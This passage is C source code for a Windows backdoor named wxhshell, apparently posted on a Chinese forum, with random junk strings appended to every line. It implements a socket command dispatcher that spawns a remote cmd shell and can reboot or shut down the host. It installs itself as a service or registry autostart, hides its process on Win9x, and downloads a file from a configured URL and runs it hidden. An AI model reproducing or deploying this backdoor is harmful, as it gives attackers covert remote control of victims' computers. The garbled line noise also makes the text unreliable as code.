    switch(cmd[0]) { N sUFM  
  w-[A"M]I  
  // 帮助 @(;zU~l/  
  case '?': { yP&SA+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rXortK#\%  
    break; /.?m9O^ F  
  } DA0{s  
  // 安装 k@,&'imx  
  case 'i': { Y~R['u,  
    if(Install()) tks3xS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%Yw Dr=0t  
    else =K#12TRf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Obd};&6Q  
    break; b[mAkm?9+1  
    } ZO^Y9\L  
  // 卸载 xlJ8n+  
  case 'r': { *58`}]  
    if(Uninstall()) ;PBybR W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)}3C_pmW  
    else l7g< $3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2f;fdzjk8K  
    break; +`@)87O  
    } '[XtARtY`  
  // 显示 wxhshell 所在路径 L `7~~  
  case 'p': { ,g2oqq ?  
    char svExeFile[MAX_PATH]; .:<-E%  
    strcpy(svExeFile,"\n\r"); !3E %u$-}  
      strcat(svExeFile,ExeFile); gEejLyOag  
        send(wsh,svExeFile,strlen(svExeFile),0); =z=$S]qN  
    break; 9`3%o9V9Y  
    } f/_RtOSw  
  // 重启 Z(' iZ'55F  
  case 'b': { ]i}3`e?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3jH8pO^  
    if(Boot(REBOOT)) E0g` xf 6c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~^JRC[q  
    else { |.]:#)^X?  
    closesocket(wsh); d"7l<y5  
    ExitThread(0); 'CTvKW  
    } 'dnTu@mUT  
    break; *1Q~/<W  
    } dHE\+{K%-  
  // 关机 LuLnmnmB  
  case 'd': { g?(h{r`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k8]uy2R6}  
    if(Boot(SHUTDOWN)) NlBnV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9c /&+j  
    else { \xQ10\u  
    closesocket(wsh); 0K0[mC}ZwM  
    ExitThread(0); <> jut  
    } ~|LlT^C  
    break; QasUgZ  
    } Z+zx*(X  
  // 获取shell ( TQx3DGq  
  case 's': { H*l2,0&W  
    CmdShell(wsh); Z+mesj?.  
    closesocket(wsh); 5#v  
    ExitThread(0); /uTU*Oe  
    break; B&tU~  
  } fgb%SIi?  
  // 退出 dkz79G}e  
  case 'x': { GzJ("RE0)v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {V> >a  
    CloseIt(wsh); rv(Qz|K@  
    break; /Dn,;@ZwAi  
    } U%swqle4  
  // 离开 +m> %(?=A  
  case 'q': { f}4bnu3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KUr}?sdz  
    closesocket(wsh); R'#[}s  
    WSACleanup(); ;8Z\bHQ>  
    exit(1); N8<Wm>GLX~  
    break; +/g/+B_b  
        } E1atXx  
  } 9~6FWBt  
  } ^Fy{Q*p`(  
Qx9lcO_  
  // 提示信息 a0vg%Z@!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t@a2@dX|  
} V b=Oz  
  } YS}uJ&WoF  
QzjLKjl7p4  
  return; ^%^~:<N  
} 0>uMR{ #  
Q%.V\8#|V  
// shell模块句柄 LuM[*_8  
int CmdShell(SOCKET sock) r ek89.p  
{ E^I|%F  
STARTUPINFO si; Us4ijR d  
ZeroMemory(&si,sizeof(si)); vgfLI}|5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =:T pH>f*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @O;gKFx  
PROCESS_INFORMATION ProcessInfo; {X=gjQ9  
char cmdline[]="cmd"; T.1*32cX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gFJ. p  
  return 0; aY^_+&&G  
} dS7?[[pg9  
D ^ mfWJS  
// 自身启动模式 cx]&ae*  
int StartFromService(void) jQAK ?7':=  
{ __}j {Buk  
typedef struct I8|7~jRB  
{ >680}\S  
  DWORD ExitStatus; +?xW%omy  
  DWORD PebBaseAddress;  ~ccwu  
  DWORD AffinityMask; JEF2fro:Z  
  DWORD BasePriority; K._tCB:  
  ULONG UniqueProcessId; I}5#!s< {&  
  ULONG InheritedFromUniqueProcessId; J#tGQO  
}   PROCESS_BASIC_INFORMATION; e8HGST`  
%R%e0|a  
PROCNTQSIP NtQueryInformationProcess; 8pc=Oor2Tv  
MGH(= w1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _z:7Dj#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p[E}:kak_-  
-Y#YwBy;M  
  HANDLE             hProcess; LY}9$1G]  
  PROCESS_BASIC_INFORMATION pbi; g\ r%A  
}L.xt88  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LwpO_/qV  
  if(NULL == hInst ) return 0; DKd:tL24&  
SxC   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fdgu=qMm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PcXz4?Q$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S#IlWU  
Cr?|bDv}o  
  if (!NtQueryInformationProcess) return 0; 58x=CN\QU  
HZp}<7NR(7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,KXS6:1%5Y  
  if(!hProcess) return 0; )aW;w|#n  
wS*An4%G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t'msgC6=>u  
WJefg  
  CloseHandle(hProcess); +,`Cv_O  
-L;sv0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?0%yDq1_  
if(hProcess==NULL) return 0; s?=v@|vz)  
_#6_7=g@s6  
HMODULE hMod; u n{LwZH  
char procName[255]; d5/x2!mH8  
unsigned long cbNeeded; p 8,wr )  
?:D#\4=US  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i:9f#  
.>4Zt'gCt  
  CloseHandle(hProcess); `)sC".b7  
@" -[@  
if(strstr(procName,"services")) return 1; // 以服务启动 K `|%-k+D  
UY@^KT]  
  return 0; // 注册表启动 9i hB;m'C)  
} #t.)4$  
JI TQ3UL:W  
// 主模块 vrr&Ve  
int StartWxhshell(LPSTR lpCmdLine) {Kn:>l$*7  
{ xign!=  
  SOCKET wsl; B@P +b*%  
BOOL val=TRUE; ?`wO \>y  
  int port=0; ,>H(l$n  
  struct sockaddr_in door; gi26Dtk(h  
X?m"86L  
  if(wscfg.ws_autoins) Install(); .M3]\I u  
n< npJ*  
port=atoi(lpCmdLine); I[mlQmwsL.  
}m!L2iK4qk  
if(port<=0) port=wscfg.ws_port; 3v~804kWB  
&e2|]C4  
  WSADATA data; +n]z'pijb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nE_g^  
Ce: 2Tw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U^ bF}4m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Vf3r9 z  
  door.sin_family = AF_INET; -4  ~(*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TvV_Tz4e  
  door.sin_port = htons(port); yV;_]_EO  
60 D0z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ yd "bJK  
closesocket(wsl); a: C h"la  
return 1; 8SV.giG;  
} S;pKL,d>r  
l~|x*JTq  
  if(listen(wsl,2) == INVALID_SOCKET) { L'=mDb  
closesocket(wsl); Nqf6CPXE  
return 1; 0K+a/G@ n\  
} o>(I_3J[p  
  Wxhshell(wsl); * z,] mi%  
  WSACleanup(); rA<>k/a  
dj>ZHdTn  
return 0; ,ALEfepo  
;5i~McH# t  
} +48a..4sN  
r&$r=f<  
// 以NT服务方式启动 J.nJ@?O+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SSoD}N  
{ o75Hit  
DWORD   status = 0; 0?x9.]  
  DWORD   specificError = 0xfffffff; :Z(w,  
oqLM-=0<}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dRl*rP/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eouxNw}F1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WA~PE` U  
  serviceStatus.dwWin32ExitCode     = 0; PubO|Mf  
  serviceStatus.dwServiceSpecificExitCode = 0; lCyBdY9n  
  serviceStatus.dwCheckPoint       = 0; hUL5V1-j  
  serviceStatus.dwWaitHint       = 0; R^[b I;  
[(*ObvEF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L[Z SgRTu  
  if (hServiceStatusHandle==0) return; y `)oD0)Fj  
H1!u1k1nl  
status = GetLastError(); 75>)1H)Xm  
  if (status!=NO_ERROR) /' +GYS  
{ U|[+M@F_L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &OK[n1M  
    serviceStatus.dwCheckPoint       = 0;  1rnbUE  
    serviceStatus.dwWaitHint       = 0; w$E8R[J~P  
    serviceStatus.dwWin32ExitCode     = status; 9E@}@ZV(  
    serviceStatus.dwServiceSpecificExitCode = specificError; @51!vQwqR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Cj$;q{!  
    return; P4h^_*d  
  } %jS#DVxBR  
8eAc 5by  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #YABb wH  
  serviceStatus.dwCheckPoint       = 0; u~JCMM$  
  serviceStatus.dwWaitHint       = 0; hxt,%al  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g}uVuK;<  
} WTlR>|Zdn  
**RW 9FU  
// 处理NT服务事件,比如:启动、停止 bcVzl]9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #$W bYL|  
{ -#TF&-  
switch(fdwControl) -XbO[_Wf  
{ {pzu1*  
case SERVICE_CONTROL_STOP: rM|] }M=_V  
  serviceStatus.dwWin32ExitCode = 0; MQ~OG9.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; } `X.^}oe  
  serviceStatus.dwCheckPoint   = 0; ~8rVf+bg3  
  serviceStatus.dwWaitHint     = 0; VG)Y$S8.>  
  { 8w 2$H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !)!<. x  
  } <KBzZ !n5  
  return; aDDs"DXx  
case SERVICE_CONTROL_PAUSE: In3},x +$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;*~y4'{z  
  break; KG2ij~v  
case SERVICE_CONTROL_CONTINUE: GnCO{"n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ])v,zp"u  
  break; Y6&B%t<bo  
case SERVICE_CONTROL_INTERROGATE: ].A>ORS/  
  break; != @U~X|cu  
}; qGAb h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tf:4}6P1  
} X+R?>xq{=h  
wZAY0@pA  
// 标准应用程序主函数 I: j!A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NWN Pq"  
{ G!%Cc0d"7  
1cA4-,YO>  
// 获取操作系统版本 vk^/[eha  
OsIsNt=GetOsVer(); (Lp$EC&%6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KS9 e V  
Z`W @Od$f  
  // 从命令行安装 v/1&V+"^kd  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^GS,4[)H  
Boi?Bt  
  // 下载执行文件 {}Q A#:V  
if(wscfg.ws_downexe) { u'm[wjCj c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?E6*Ef  
  WinExec(wscfg.ws_filenam,SW_HIDE); N9|v%-_?)  
} ``Yw-|&:Ae  
]>:LHW  
if(!OsIsNt) { Q5!"tF p  
// 如果时win9x,隐藏进程并且设置为注册表启动 qGH s2Og  
HideProc(); ,(D:cRN  
StartWxhshell(lpCmdLine); S8zc1!  
} ^")SU(`  
else bOY<C%;C  
  if(StartFromService()) P S$6`6G  
  // 以服务方式启动 p!XB\%sv'"  
  StartServiceCtrlDispatcher(DispatchTable); BLno/JK0}  
else D09/(%4j  
  // 普通方式启动 t V]BcDp  
  StartWxhshell(lpCmdLine); hYj!*P)uV  
;$0)k(c9  
return 0; KX|7mr90K  
}
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只看该作者 1 发表于: 2006-10-10
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